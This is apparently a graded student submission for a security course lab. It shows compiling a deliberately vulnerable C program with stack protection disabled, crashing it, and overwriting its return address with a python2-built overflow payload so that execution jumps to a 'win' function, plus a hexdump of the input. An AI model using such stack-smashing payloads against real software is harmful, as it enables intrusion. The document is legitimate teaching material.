

## In-class practice 3

● Graded

Student

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Total Points

100 / 100 pts

Question 1

Submission of PDF

100 / 100 pts

✓ + 20 pts A screenshot when you successfully compile bug.c

✓ + 20 pts A screenshot when you successfully run bug with whatever input you would like

✓ + 30 pts A screenshot when you successfully crash bug and attach the input you used to crash the program

✓ + 30 pts A screenshot when you successfully execute the "win" function and attach the input you used;

Question assigned to the following page: [1](#)

### Practice 3

1. A screenshot when you successfully compile bug.c (20 points)

```
[u1226472@lab2-11 cs4440practice3]$ gcc -g -O0 bug.c -fno-stack-protector -no-pie -o bug
bug.c: In function 'foo':
bug.c:19:15: warning: implicit declaration of function 'rand'; did you mean 'rindex'? [-Wimplicit-function-declaration]
      abc = rand();
              ^~~~~
              rindex
bug.c: In function 'main':
bug.c:41:9: warning: implicit declaration of function 'read'; did you mean 'fread'? [-Wimplicit-function-declaration]
      read(0, input, 128);
      ^~~~~
      fread
```

2. A screenshot when you successfully run bug with whatever input you would like (20 points)

```
[u1226472@lab2-11 cs4440practice3]$ ./bug
asdfadsf
Segmentation fault (core dumped)
[u1226472@lab2-11 cs4440practice3]$
```

3. A screenshot when you successfully crash bug and attach the input you used to crash the program; You can save your input into a file (say "input"), run hexdump on "input" and copy the output to the submission (30 points)

```
[u1226472@lab2-11 cs4440practice3]$ ./bug
asdfadsf
Segmentation fault (core dumped)
[u1226472@lab2-11 cs4440practice3]$
```

4. A screenshot when you successfully execute the "win" function and attach the input you used; You can save your input into a file (say "input"), run hexdump on "input" and copy the output to the submission (30 points)

```
[u1226472@lab1-30 cs4440practice3]$ python2 -c "print 'A' * 40 + '\x02\x07\x40\x00\x00\x00\x00\x00' + 'A'" > input
[u1226472@lab1-30 cs4440practice3]$ ./bug < input
You Win
Segmentation fault (core dumped)
```

hexdump input:

```
0000020 4141 4141 4141 4141 0702 0040 0000 0000
0000030 000a
0000031
```